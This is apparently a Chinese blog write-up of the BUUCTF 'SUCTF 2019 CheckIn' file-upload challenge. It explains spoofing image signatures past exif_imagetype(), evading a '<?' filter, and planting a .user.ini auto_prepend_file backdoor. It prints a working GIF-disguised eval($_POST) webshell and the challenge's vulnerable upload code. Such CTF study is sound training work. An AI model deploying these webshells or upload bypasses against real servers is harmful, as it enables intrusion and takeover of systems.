buuctf-web-[SUCTF 2019] CheckIn

时间:August 9 2022

测试发现不可以上传以.ph开头的后缀名文件。于是想到上传.htaccess文件+上传图片马的方式执行webshell,结果并没有成功。
为啥失败了呢?原来题目环境用的是Nginx服务器而不是Apache。而.htaccess是Apache的配置文件。
查资料发现.user.ini文件也可以构成php后门。这也是本题的考点之一。

基础知识

绕过exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名。通过这个函数在一定程度上可以检测上传的文件是否是图片。显然图片马(正常图片里面加入php木马)是可以绕过这个函数的,那么除了图片马之外,有没有什么方法可以绕过呢?在知道如何绕过之前,需要学习exif_imagetype()判断文件是否是图片的原理。

该方法的介绍具体可以参考php手册:https://www.php.net/manual/zh/function.exif-imagetype.php

下表给出了常见的图片文件及其文件头部(header),文件头部中包含了签名部分。

image type signature description
.gif GIF 16进制(47 49 46) 签名字段为header的前三个字节:GIF,后三个字节89a为版本字段
.jpg 十六进制 FF D8 FF E0 FF D8 是一种marker type,表示jpg图片的开始
.png 十六进制 89 50 4E 47 0D 0A 1A 0A A PNG file is composed of an 8-byte signature header, followed by any number of chunks that contain control data / metadata / image data.

提示: 十六进制值可以通过burpsuite的hex模式编辑
gif 文件结构1:http://giflib.sourceforge.net/whatsinagif/bits_and_bytes.html
权威gif文档:http://giflib.sourceforge.net/gif89.txt
维基百科png:https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_format

知道常见图片的签名,接下来只需要将表中signature部分添加到文件内容开头,就可以绕过exif_imagetype()

绕过<?

由于php代码通常是以<? php开头的,因此检测<?的目的是判断上传文件是否是php文件。
通过以下等价语法来绕过

<script language='php'>eval($_POST['pass']);</script>

利用.user.ini构造php后门

.user.ini是一个php配置文件,此类文件仅被 CGI/FastCGI SAPI 处理。如果 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描INI文件,从被执行的PHP 文件所在目录开始一直上升到web 根目录( $_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的php文件在web更目录外面,则只扫描被执行的php文件所在目录。

那么.user.ini如何使用呢?
.user.ini 风格的 INI 文件中只有具有PHP_INI_PERDIR PHP_INI_USER 模式的 INI 设置可被识别,

简单来说,不同的模式可用的指令不太一样。
可以参考下面两个链接来进一步了解 模式(modes) 和指令(directives)
Definition of PHP_INI_* modes:https://www.php.net/manual/en/configuration.changes.modes.php
List of php.ini directives ¶:https://www.php.net/manual/en/ini.list.php

.user.ini中可用的指令有很多,下面列出两个可以帮我们构造php后门的指令:
PHP_INI_PERDIR模式下可以使用下图所标记的指令:auto_append_fileauto_prepend_file
image

下图是关于这两个指令的简短介绍,他们都属于"数据处理类"配置命令/选项
image

用法如下

auto_append_file=文件名
auto_prepend_file=文件名

因此,我们可以先上传.user.ini文件,使用auto_prepend_file指令指定一个我们上传的图片马,当访问该图片马所在目录的php文件时,这个图片马的内容会自动被包含(require)进我们访问的php文件的开头。这样就使得php木马被包含进我们访问的php文件中了。

提示:在上传.user.ini的时候,需要绕过exit_imagetyep()函数

上传.user.ini文件后,再上传图片马,访问上传的目标目录中的index.php即可利用图片马。

提示:图片马的内容需要绕过<?exit_imagetyep()函数

解题过程

上传.user.ini

GIF89a
auto_prepend_file=1.jpg

image

上传1.jpg

GIF89a
<script language='php'>eval($_POST['pass']);</script>

image

连接webshell
image
注意:shell地址为图片马所在目录的index.php,不是首页的index.php

http://d05ddf82-8e0f-408d-80bf-1bc6b7e8137b.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

flag在根目录下
image
在题目环境中,文件过一段时间就会自动删除,因此连接shell之前请重复上传一下.user.ini和图片马。

源代码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

1.用preg_match()正则函数来检测非法后缀名:不允许上传以ph开头的文件
2.通过file_get_contents($tmp_name) 来检测图片内容,不允许出现<?

总结

通过这道题,学会了通过.user.ini来构造php后门。即,除了上传.htaccess(apache服务器),还可以上传.user.ini(apache和Nginx均可)来构造php后门

文件上传时不能盲目使用方法,最好先进行信息收集,之后选择合适的方法来突破。

更多信息

https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
https://xz.aliyun.com/t/6091

posted @ 2022-08-14 15:38  草木清风  阅读(234)  评论(0编辑  收藏  举报